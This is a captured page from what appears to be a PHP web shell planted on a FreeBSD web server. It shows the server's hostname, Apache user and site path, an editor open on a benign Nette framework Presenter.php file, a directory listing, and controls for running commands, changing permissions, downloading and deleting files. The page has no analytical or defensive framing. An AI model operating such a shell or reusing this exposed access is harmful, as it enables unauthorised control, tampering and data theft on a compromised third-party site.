TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
vendor
teze
teze
src
application
src
UI
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/vendor/teze/teze/src/application/src/UI/Presenter.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Teze\Application\UI; use Nette\Localization\ITranslator; /** * Presenter * @author Jan Pospisil */ abstract class Presenter extends \Nette\Application\UI\Presenter implements ILinkBuilder { // EVENTS public $onStartup; public $onCreate; public $onBeforeRender; public $onAfterRender; /** * @var ITemplateControl */ private $templateControl; /** * @var ILayoutControl */ protected $layoutControl; /** * @var ITranslator */ private $translator; public function setupConfigurator(IPresenterConfigurator $configurator){ $configurator->configure($this); } public function setTranslator(ITranslator $translator){ $this->translator = $translator; } public function setTemplateControl(ITemplateControl $templateControl){ $this->templateControl = $templateControl; } public function setLayout($layout){ $this->templateControl->setLayout($layout); } public function setLayoutControl(ILayoutControl $layoutControl){ $this->layoutControl = $layoutControl; } protected function startup(){ parent::startup(); $this->onStartup($this); } public function formatTemplateFiles(){ if($this->templateControl) return array($this->templateControl->formatTemplateFile($this)); return parent::formatTemplateFiles(); } public function formatLayoutTemplateFiles(){ if($this->templateControl) return array($this->templateControl->formatLayoutTemplateFile($this)); return parent::formatLayoutTemplateFiles(); } protected function beforeRender(){ parent::beforeRender(); $this->onBeforeRender($this); if($this->layoutControl) $this->layoutControl->setupLayout($this->template, $this); } protected function createComponent($name){ if($this->layoutControl && $return = $this->layoutControl->createComponent($name)) return $return; return parent::createComponent($name); } public function flashMessage($message, $type = 'info', $arg = NULL){ parent::flashMessage($this->translate($message, $arg), $type); } public function translate($message, $arg = NULL){ $message = $this->translator ? $this->translator->translate($message) : $message; return $arg ? sprintf($message, $arg) : $message; } protected function afterRender(){ parent::afterRender(); $this->onAfterRender($this); } }
Crotin
Name
Size
Permissions
Modified
User/Group
IControlConfigurator.php
271
0644
2016-03-05 11:28:24
Unknown/Unknown
IPresenterConfigurator.php
254
0644
2016-03-05 11:28:24
Unknown/Unknown
FormFactory.php
873
0644
2016-03-05 11:28:24
Unknown/Unknown
ITemplateControl.php
555
0644
2016-03-05 11:28:24
Unknown/Unknown
Control.php
1105
0644
2016-03-05 11:28:24
Unknown/Unknown
Form.php
574
0644
2016-03-05 11:28:24
Unknown/Unknown
IFormFactory.php
214
0644
2016-03-05 11:28:24
Unknown/Unknown
LayoutControl.php
588
0644
2016-03-05 11:28:24
Unknown/Unknown
ILinkBuilder.php
242
0644
2016-03-05 11:28:24
Unknown/Unknown
ILayoutControl.php
703
0644
2016-03-05 11:28:24
Unknown/Unknown
TemplateControl.php
1394
0644
2016-03-05 11:28:24
Unknown/Unknown
IFormConfigurator.php
267
0644
2016-03-05 11:28:24
Unknown/Unknown
Presenter.php
2356
0644
2016-03-05 11:28:24
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin